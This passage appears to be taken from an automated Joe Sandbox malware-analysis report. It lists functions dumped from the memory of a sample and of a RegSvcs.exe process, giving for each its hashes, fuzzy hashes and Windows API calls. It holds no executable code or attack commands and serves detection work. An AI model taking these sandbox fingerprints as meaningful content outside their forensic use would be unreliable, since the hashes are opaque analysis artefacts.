Opcode Fuzzy Hash: 0bdd1287cd3dd16f7c73d7e11d6da5ceb827ce43003c48798984e289821d47e9
Instruction Fuzzy Hash: B81106B5900749DFDB20DF99D945BDEBBF8EB48750F108419E618A7300C375A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0157B020 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0157B086

Memory Dump Source

Source File: 0000000A.00000002.2150140711.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1570000_ECXXCuFHUVw.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 030ff017e311d262ca1b5dbb06282e44bd7149c7a418ce64cb29d1dea61721cd
Instruction ID: 4a94d70024afbc02ac024637b82231a0b60f280a4ee2655b599ac64d4c3a7687
Opcode Fuzzy Hash: 030ff017e311d262ca1b5dbb06282e44bd7149c7a418ce64cb29d1dea61721cd
Instruction Fuzzy Hash: B61110B5C00749CFDB20CF9AD444ADEFBF4AB88610F10842AD529BB210C379A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 077FD1DB Relevance: 1.5, APIs: 1, Instructions: 45windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 077FD23D

Memory Dump Source

Source File: 0000000A.00000002.2159490760.00000000077F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_77f0000_ECXXCuFHUVw.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: ea95020feb127ad2ab52ecd9c0f1257346ce1886cd96852744ebc0fe521a71c9
Instruction ID: 8bf7f0ac4184a6e8cf21e3f2e66688ed8b108218c482a595eabaf46e199899a1
Opcode Fuzzy Hash: ea95020feb127ad2ab52ecd9c0f1257346ce1886cd96852744ebc0fe521a71c9
Instruction Fuzzy Hash: A11103B5900309DFDB10CF99D985BDEBBF4EB48310F10841AD618A7700C374A544CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 014CD4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2149754998.00000000014CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 014CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_14cd000_ECXXCuFHUVw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee9efae2c6dfdba865a82a4e2bec9d8a4323d56aa0bb3150f744cf5e7fc00798
Instruction ID: 3b8dfaa686b2da5f621e9874b8810f5a01146ce08983c0730251cecf3ebe2bf1
Opcode Fuzzy Hash: ee9efae2c6dfdba865a82a4e2bec9d8a4323d56aa0bb3150f744cf5e7fc00798
Instruction Fuzzy Hash: 2921F47A900240EFDB45DF54D9C0B27BF65FB98718F20857ED9090B266C336D456CAE1

Uniqueness

Uniqueness Score: -1.00%

Function 014CD3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2149754998.00000000014CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 014CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_14cd000_ECXXCuFHUVw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a93d39b32aebbfa4b88217c09113cb0b96fe27a9a7051bea5182b8ea270b8f25
Instruction ID: 17d8d59b5d7ff0d1b37af54cd16666b1d6220b82fcc7eac63588c0139b12abb8
Opcode Fuzzy Hash: a93d39b32aebbfa4b88217c09113cb0b96fe27a9a7051bea5182b8ea270b8f25
Instruction Fuzzy Hash: F321F479900204EFDB45DF54D9C0B66FB65FB84714F20C17EDA090B266C336E456CAE1

Uniqueness

Uniqueness Score: -1.00%

Function 014DD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2149819605.00000000014DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 014DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_14dd000_ECXXCuFHUVw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6513141a202477687269c47468ca70b72a45640f4038187749a7f35d7f1fded8
Instruction ID: b17e9f54ad66e78e437ab619f1fa3641c110e8669036acc7ef8262b4e6c27851
Opcode Fuzzy Hash: 6513141a202477687269c47468ca70b72a45640f4038187749a7f35d7f1fded8
Instruction Fuzzy Hash: 4621D3B1A04204EFDF16DF68D990B16BB65EBC4318F24C56ED90A4B3A6C336D447CA61

Uniqueness

Uniqueness Score: -1.00%

Function 014DD1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2149819605.00000000014DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 014DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_14dd000_ECXXCuFHUVw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea4d09247845a828bb6138c923a020a1666d1caf68ba6ed631605dbae8a720d5
Instruction ID: 6d3836f2d029e8e3d606ff92f1e1d605b392405ecd6a5802b0f1b6b06632ae54
Opcode Fuzzy Hash: ea4d09247845a828bb6138c923a020a1666d1caf68ba6ed631605dbae8a720d5
Instruction Fuzzy Hash: FD21D771A04204EFDF05DFA4D9D0B26BB65FB84324F24C56ED9494B3A2C376D446CA61

Uniqueness

Uniqueness Score: -1.00%

Function 014DD005 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2149819605.00000000014DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 014DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_14dd000_ECXXCuFHUVw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63731168bdb146b3253cbabee474ec0eb3afbe39a4b3b3fdf7bc605e7c4a4697
Instruction ID: f199a2d18a555aae420f8a6d00538c2fe49ce27dbc72dd0da7b0ef8bac8ab670
Opcode Fuzzy Hash: 63731168bdb146b3253cbabee474ec0eb3afbe39a4b3b3fdf7bc605e7c4a4697
Instruction Fuzzy Hash: D32183B55083849FCB03CF64D994712BF71EB86214F28C5DBD8498F2A7C33A9806CB62

Uniqueness

Uniqueness Score: -1.00%

Function 014CD3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2149754998.00000000014CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 014CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_14cd000_ECXXCuFHUVw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77fadd82fdc2d56cf39070efea1a70d2bd0433e89b8e3a9964b57efaebe0ac53
Instruction ID: 9555349ccdae65063425557f5234c337fe17f938ec5f0af734befc0be5b55f8f
Opcode Fuzzy Hash: 77fadd82fdc2d56cf39070efea1a70d2bd0433e89b8e3a9964b57efaebe0ac53
Instruction Fuzzy Hash: 0711CD76904240DFCB02CF44D9C0B56FF61FB84224F2482BED9090A267C33AE45ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 014CD4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2149754998.00000000014CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 014CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_14cd000_ECXXCuFHUVw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77fadd82fdc2d56cf39070efea1a70d2bd0433e89b8e3a9964b57efaebe0ac53
Instruction ID: a8c752d908b302c027e8db86c4956d4a3f311c031404617a5e3a24282590ea9f
Opcode Fuzzy Hash: 77fadd82fdc2d56cf39070efea1a70d2bd0433e89b8e3a9964b57efaebe0ac53
Instruction Fuzzy Hash: 9811CD76904280DFCB02CF54D9C0B16BF61FB94614F2486AAD8090B266C33AD45ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 014DD1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2149819605.00000000014DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 014DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_14dd000_ECXXCuFHUVw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42a98d763aa616cafc5cdf308aa0cc1e619621035a6359fb41dac703237424f2
Instruction ID: cdee98fcdd36c9c87cfa7068ead0f0912ae7b3fe89138394adde93a2d65fd9ea
Opcode Fuzzy Hash: 42a98d763aa616cafc5cdf308aa0cc1e619621035a6359fb41dac703237424f2
Instruction Fuzzy Hash: B611BB75904280DFCB02CF54C5D0B16FFB1FB84224F24C6AAD8494B7A6C33AD40ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 014CD745 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2149754998.00000000014CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 014CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_14cd000_ECXXCuFHUVw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e41275137317b5737d9d5896c51d7e3d90d4ca085913cd987a0b7528f2690759
Instruction ID: 2b5b13a8ae64dc96696ce2ddf763a0c5860a44ec7e75c3ae0d3022164dc2270a
Opcode Fuzzy Hash: e41275137317b5737d9d5896c51d7e3d90d4ca085913cd987a0b7528f2690759
Instruction Fuzzy Hash: 4C01F779406380EAE7505F69CD84B67FF98EF41A20F04853FEE090A296C6799445C6F1

Uniqueness

Uniqueness Score: -1.00%

Function 014CD744 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2149754998.00000000014CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 014CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_14cd000_ECXXCuFHUVw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c58da0baa12c8d63982fa5492a1e86b2dd7c2acf59f8f5e50fc0ebf78aedd3cf
Instruction ID: d82c76821ad07402bd13fbbcf3559b675a861ebbe255d84279fb59546245a79a
Opcode Fuzzy Hash: c58da0baa12c8d63982fa5492a1e86b2dd7c2acf59f8f5e50fc0ebf78aedd3cf
Instruction Fuzzy Hash: 43F06275405384AAE7518E19CC84B67FF98EB85A34F18C46AED084E696C3799844CBB1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RegSvcs.exePID: 3636, Parent PID: 2136COMMON

Execution Graph

Execution Coverage:	10.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	148
Total number of Limit Nodes:	14

Executed Functions

Function 06B05658 Relevance: 1.8, Strings: 1, Instructions: 595
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 06B059F9

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 8e2792c2ded74d46d8ffd4eae3a93d9428f60d2dddcdc2a0c2feffd41bfd5a68
Instruction ID: 776da891bb3aa0bdc7de88ed01f3c4213c7047c6d376b63b0e6aecbeb5ce0674
Opcode Fuzzy Hash: 8e2792c2ded74d46d8ffd4eae3a93d9428f60d2dddcdc2a0c2feffd41bfd5a68
Instruction Fuzzy Hash: 0722B2B6E002158FEF60DBA4C5946AEBFB2FF85310F2084A9D546AB785DA31DC41CF91

Uniqueness

Uniqueness Score: -1.00%

Function 06B066B0 Relevance: .8, Instructions: 819COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a40df928ef68a68c9cc447f3bf0318f089097ae3bdd131837daa389cca960ad
Instruction ID: 2bee5809f34ea0a05a5acd80308daae0c9b375c65a250d1de4736e9daf495e48
Opcode Fuzzy Hash: 6a40df928ef68a68c9cc447f3bf0318f089097ae3bdd131837daa389cca960ad
Instruction Fuzzy Hash: 3E627C70B102159FEB54DB68D594BADBBF2FF88314F2484A9D4069B390EB35ED42CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06B0C238 Relevance: .6, Instructions: 643COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c5bd427d699f4d7f53e6c89f96c63ecdb4bd32e68c6c9c0755331eabbfd8a2b
Instruction ID: c6e05dd0978ebe80c23c3922e44d657b3ced5b55b863c6f541d1fea69861532a
Opcode Fuzzy Hash: 9c5bd427d699f4d7f53e6c89f96c63ecdb4bd32e68c6c9c0755331eabbfd8a2b
Instruction Fuzzy Hash: CA32A274B102099FEB54DB68E990BADBFB2FB89310F109669E505E7391DB34EC41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06B0B2DF Relevance: .6, Instructions: 569COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74ed5ae57a28970c600d58686055f2975972d40ba22565b08f1157df8fd56869
Instruction ID: 92197c363eb51f2a8953d85c8908294ea6aa8ae01b478113e08d74ca10a1a0c9
Opcode Fuzzy Hash: 74ed5ae57a28970c600d58686055f2975972d40ba22565b08f1157df8fd56869
Instruction Fuzzy Hash: 82226174E102099FEFA4CB68D4907ADBFB6FB89310F2494A5E405DB391DA36DC81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06B03520 Relevance: .5, Instructions: 545COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27d56c864af441948611b66a587c5a01676b41a2c1ba502eb29f15ee65008de7
Instruction ID: ee08b8fa9d3b7e4c1b6aa21e0326e539c8bdfdb1c40c16b445364c42ab3c743d
Opcode Fuzzy Hash: 27d56c864af441948611b66a587c5a01676b41a2c1ba502eb29f15ee65008de7
Instruction Fuzzy Hash: 68321D30E1075ACBDB14DFB5D8545ADB7B6FFC9300F5096AAD409AB264EB30AD85CB80

Uniqueness

Uniqueness Score: -1.00%

Function 06B07E40 Relevance: .5, Instructions: 474COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0983e4e219085010a3cd6cb5350aae21a1005a294c08db9054095d9bceaf04f
Instruction ID: 0abb60dabfb4341964fe247b4c8cc3264cdbfd012d6f14bdf41be27bc84c8e71
Opcode Fuzzy Hash: d0983e4e219085010a3cd6cb5350aae21a1005a294c08db9054095d9bceaf04f
Instruction Fuzzy Hash: 1402A170B012169FEF54DB64E454AAEBBF6FF88300F148568E4169B394DB35ED41CB80

Uniqueness

Uniqueness Score: -1.00%

Function 06AE3202 Relevance: 6.1, APIs: 4, Instructions: 132
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 06AE328E
GetCurrentThread.KERNEL32 ref: 06AE32CB
GetCurrentProcess.KERNEL32 ref: 06AE3308
GetCurrentThreadId.KERNEL32 ref: 06AE3361

Memory Dump Source

Source File: 0000000E.00000002.3314136263.0000000006AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ae0000_RegSvcs.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: b0b60a9dbf7fd9f6d52244087c275cdd570bce2db5293ed741817e74d6766dc4
Instruction ID: ae20cd1ebe47a9bd5106c2f4cd25ca307f2193320c485b5a8c298d64ac20bccf
Opcode Fuzzy Hash: b0b60a9dbf7fd9f6d52244087c275cdd570bce2db5293ed741817e74d6766dc4
Instruction Fuzzy Hash: C25157B0900749CFEB94EFA9D848BDEBBF1EF88304F248059E119A7360D7346844CB66

Uniqueness

Uniqueness Score: -1.00%

Function 06AE3210 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 06AE328E
GetCurrentThread.KERNEL32 ref: 06AE32CB
GetCurrentProcess.KERNEL32 ref: 06AE3308
GetCurrentThreadId.KERNEL32 ref: 06AE3361

Memory Dump Source

Source File: 0000000E.00000002.3314136263.0000000006AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ae0000_RegSvcs.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: f6e2998771a903106e61d1643a562e792dbaf9bbb52497af2f1a8303266d5656
Instruction ID: e92dcec122afe02d2c41f8cf77e2446de7e13fbd55828e9ba2dc1f4f6ec8a07b
Opcode Fuzzy Hash: f6e2998771a903106e61d1643a562e792dbaf9bbb52497af2f1a8303266d5656
Instruction Fuzzy Hash: BE5137B0900749CFDB94EFA9D948B9EBBF1EF88304F248459E119A7350D7346944CB66

Uniqueness

Uniqueness Score: -1.00%

Function 06AEB708 Relevance: 1.7, APIs: 1, Instructions: 203
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 06AEB96E

Memory Dump Source

Source File: 0000000E.00000002.3314136263.0000000006AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ae0000_RegSvcs.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 2133d41c3184fe1cf121ff08e4144b7e5bfb727814b86f1392392870c93366e3
Instruction ID: 1a2a317c7b6c2b99f8eba2611acb19f99def38b92f594fa6a17b49ab6345ca32
Opcode Fuzzy Hash: 2133d41c3184fe1cf121ff08e4144b7e5bfb727814b86f1392392870c93366e3
Instruction Fuzzy Hash: AC813570A01B058FD7A4EF2AD55875ABBF1FF89300F008A2DD49ADBA50D774E845CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 06AED8E4 Relevance: 1.6, APIs: 1, Instructions: 117
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 06AEDA02

Memory Dump Source

Source File: 0000000E.00000002.3314136263.0000000006AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ae0000_RegSvcs.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 62c2b6c582d36f1cf06558bb3a0c65149b7448fe9465301584bc8caa524d9da4
Instruction ID: cde55ff28a6d3da7bad58b493cc2cf9d1f3fb1342722fc0b065ee40c9e000c27
Opcode Fuzzy Hash: 62c2b6c582d36f1cf06558bb3a0c65149b7448fe9465301584bc8caa524d9da4
Instruction Fuzzy Hash: 4B51D1B1D00349EFDB14DF99C884ADEBFB5BF48310F24812AE819AB210D7749985CF90

Uniqueness

Uniqueness Score: -1.00%

Function 06AED8F0 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 06AEDA02

Memory Dump Source

Source File: 0000000E.00000002.3314136263.0000000006AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ae0000_RegSvcs.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: fc340fa36e3e304842ab110b3ae47237de5571cb0d82137f33d1880d2d3f2e31
Instruction ID: 71947e685e1734a8fd55ad2624905a41c55ad1ee71b88ee8eecdd1ea602da5d3
Opcode Fuzzy Hash: fc340fa36e3e304842ab110b3ae47237de5571cb0d82137f33d1880d2d3f2e31
Instruction Fuzzy Hash: 4B41B0B1D00349DFDB14DF99C894ADEBBB5BF48710F24812AE819AB210D775A985CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0163FD70 Relevance: 1.6, APIs: 1, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 0163FE31

Memory Dump Source

Source File: 0000000E.00000002.3305995710.0000000001630000.00000040.00000800.00020000.00000000.sdmp, Offset: 01630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1630000_RegSvcs.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 32131ff7bde0e93880334fa86050aefc3748370aee906b9c04ebe31715fbb805
Instruction ID: f943096ce5903ff83424997c9819ed8bac4007b9d62ddf510a7fd71bed972745
Opcode Fuzzy Hash: 32131ff7bde0e93880334fa86050aefc3748370aee906b9c04ebe31715fbb805
Instruction Fuzzy Hash: 4E4138B5900309DFDB14CF99C848AAABBF5FF88714F24C499D519AB321D374A845CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0163EE9C Relevance: 1.6, APIs: 1, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 0163EF3F

Memory Dump Source

Source File: 0000000E.00000002.3305995710.0000000001630000.00000040.00000800.00020000.00000000.sdmp, Offset: 01630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1630000_RegSvcs.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 160f21db27ff725c85d6036c0357c77ac3728772b9c18563f07f1a5410d7829c
Instruction ID: 274ae88fefd2e6ebf7441bd5fb32bef640c910f9a75c42be7f5d6597b5eb221c
Opcode Fuzzy Hash: 160f21db27ff725c85d6036c0357c77ac3728772b9c18563f07f1a5410d7829c
Instruction Fuzzy Hash: 99218671C0465ADFDB10DFA9D8047EEBBF5AF88310F15856AE908A7341D3789845CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 06AE3450 Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 06AE34DF

Memory Dump Source

Source File: 0000000E.00000002.3314136263.0000000006AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ae0000_RegSvcs.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 219573b63633de3c6560bd2cd7dbead2aad68e9e310381dd461beaddfd3f5bbf
Instruction ID: 75eff01fca2c5ec095e108d00856b84bd93e7bc5223ff308044bcf13b354f64e
Opcode Fuzzy Hash: 219573b63633de3c6560bd2cd7dbead2aad68e9e310381dd461beaddfd3f5bbf
Instruction Fuzzy Hash: 222103B5C00248EFDB10CFAAD884ADEBBF8FB48310F14801AE914A7310D379A940CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06AE3458 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 06AE34DF

Memory Dump Source

Source File: 0000000E.00000002.3314136263.0000000006AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ae0000_RegSvcs.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 06872dd7c209c3e1efd60a44eb9e061cca940f78f4c2d5e7f3a0be3ced1e44e6
Instruction ID: 7322de9c114829cd62f601ce8a31db942756d4f076de52eb3c86311cb8867fa2
Opcode Fuzzy Hash: 06872dd7c209c3e1efd60a44eb9e061cca940f78f4c2d5e7f3a0be3ced1e44e6
Instruction Fuzzy Hash: F921E4B5900249DFDB10CFAAD884ADEBBF8FB48310F14801AE914A7310D379A944CF65

Uniqueness

Uniqueness Score: -1.00%

Function 01638071 Relevance: 1.6, APIs: 1, Instructions: 60
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(00000000), ref: 016380E8

Memory Dump Source

Source File: 0000000E.00000002.3305995710.0000000001630000.00000040.00000800.00020000.00000000.sdmp, Offset: 01630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1630000_RegSvcs.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: e594c547a0904136d1e773c1c49eeb38c2c804f57a1d5d6890524b9998896d6c
Instruction ID: 3ad0ccd5a4d4f58bb511cb868e680c53dc5ba7092715ebfdedcb4b75829d82d4
Opcode Fuzzy Hash: e594c547a0904136d1e773c1c49eeb38c2c804f57a1d5d6890524b9998896d6c
Instruction Fuzzy Hash: 882123B1C0065A9BDB10CFAAC8457EEFBF4AF88710F148229D818A7240D738A941CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 01638078 Relevance: 1.6, APIs: 1, Instructions: 56
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(00000000), ref: 016380E8

Memory Dump Source

Source File: 0000000E.00000002.3305995710.0000000001630000.00000040.00000800.00020000.00000000.sdmp, Offset: 01630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1630000_RegSvcs.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: d208ce967f06e38e56e8aab48c99f0588da2971ee8457f22702af703e830ac8a
Instruction ID: a5d5a681fb35d8324821da8a358e67996f822e8f0e111ceaaadc138f9aef4dea
Opcode Fuzzy Hash: d208ce967f06e38e56e8aab48c99f0588da2971ee8457f22702af703e830ac8a
Instruction Fuzzy Hash: FE1113B1C0065A9BDB14CF9AC84469EFBB4EB48620F11822AD918A7240D738A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06AEA6D0 Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,06AEB9E9,00000800,00000000,00000000), ref: 06AEBBDA

Memory Dump Source

Source File: 0000000E.00000002.3314136263.0000000006AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ae0000_RegSvcs.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 797f764b4c542b5844b0bdeb6e322a515dc9f6b08057419e3d3463d00d73661c
Instruction ID: aeba27117f767543e6ba669f846b99b623f592c0d11da64f02ea8a0b432763b2
Opcode Fuzzy Hash: 797f764b4c542b5844b0bdeb6e322a515dc9f6b08057419e3d3463d00d73661c
Instruction Fuzzy Hash: 6211E4B6D00349DFDB10DF9AC988A9EFBF4EB48710F10846AD519A7201C379A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06AEBB6A Relevance: 1.6, APIs: 1, Instructions: 54
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,06AEB9E9,00000800,00000000,00000000), ref: 06AEBBDA

Memory Dump Source

Source File: 0000000E.00000002.3314136263.0000000006AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6ae0000_RegSvcs.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 64c54af853db8753568696aa3898e5bd84dfe2ab867950cbfbe4a3f79ea0868b
Instruction ID: d6dd29983943027a0254ec6b546ed196e76289f6263462e73250fcd786a95ba3
Opcode Fuzzy Hash: 64c54af853db8753568696aa3898e5bd84dfe2ab867950cbfbe4a3f79ea0868b
